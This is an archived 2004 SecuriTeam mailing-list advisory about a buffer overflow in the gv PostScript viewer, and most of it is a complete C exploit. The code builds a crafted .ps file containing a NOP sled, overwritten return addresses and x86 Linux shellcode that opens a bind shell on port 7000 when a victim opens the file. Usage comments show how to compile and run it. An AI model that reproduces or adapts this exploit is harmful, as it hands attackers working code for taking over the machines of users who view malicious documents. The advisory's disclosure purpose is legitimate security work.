

# [EXPL] GV PostScript Viewer Remote Buffer Overflow Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0043.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 08/15/04

To: list@securiteam.com

Date: 15 Aug 2004 15:15:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

GV PostScript Viewer Remote Buffer Overflow Exploit

---

## SUMMARY

gv allows to view and navigate through PostScript and PDF documents on an X display by providing a user interface for the ghostscript interpreter.

The following exploit code is for a local buffer overflow in the gv postscript viewer's %%PageOrder portion of the file.

## DETAILS

Vulnerable Systems:

- \* gv 3.5.8 and prior

Exploit:

/\*

- \* gv postscript viewer exploit , infamous42md AT hotpop DOT com

\*

- \* run of the mill bof. spawns a remote shell on port 7000. woopy doo. if

\* someone has been able to exploit the heap overflow in cfengine, please email

- \* me and teach me something. after days of pain i've concluded it's not

- \* possible b/c you can't manipulate the heap enough to get anything good

## Securiteam: [EXPL] GV PostScript Viewer Remote Buffer Overflow Exploit

in

```
* front of you. please prove me wrong so i can learn.  
*  
* shouts to mitakeet  
*  
* [n00b localho outernet] netstat -ant | grep 7000  
* [n00b localho outernet] gcc -Wall -o gvown gvown.c  
* [n00b localho outernet] ./gvown 0xbffff350  
* [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps  
* [n00b localho outernet] netstat -ant | grep 7000  
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
```

```
*/
```

```
#include <stdio.h>  
#include <sys/types.h>  
#include <fcntl.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>
```

```
#define NOP 0x90  
#define NNOPS 512  
#define die(x) do{ perror(x); exit(EXIT_FAILURE); } while(0)  
#define BS 0x10000  
#define RETADDR_BYTES 400  
#define PS_COMMENT "%!PS-Adobe- "  
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"
```

```
/* call them on port 7000, mine */
```

```
char remote[] =
```

```
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"  
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"  
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"  
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"  
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"  
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"  
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"  
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
```

```
int main(int argc, char **argv)
```

```
{  
    int len, x, fd;  
    char buf[BS];  
    u_long retaddr;  
  
    if(argc < 2){  
        fprintf(stderr, "Usage: %s <retaddr >\n", argv[0]);  
        return EXIT_FAILURE;  
    }  
    sscanf(argv[1], "%lx", &retaddr);
```

## Securiteam: [EXPL] GV PostScript Viewer Remote Buffer Overflow Exploit

```
/* create 3vil buf */
memset(buf, NOP, BS);
strcpy(buf, PS_COMMENT);
len = strlen(buf);
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
    memcpy(buf+x+len, &retaddr, sizeof(retaddr));
len += x + NNOPS;
strcpy(buf+len, remote);
strcat(buf+len, "\n");
len += strlen(remote) + 1; /* + NULL */

/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
    die("open");

if(write(fd, buf, len) < 0)
    die("write");

close(fd);

return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:infamous42md@hotmail.com>>  
infamous42md.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.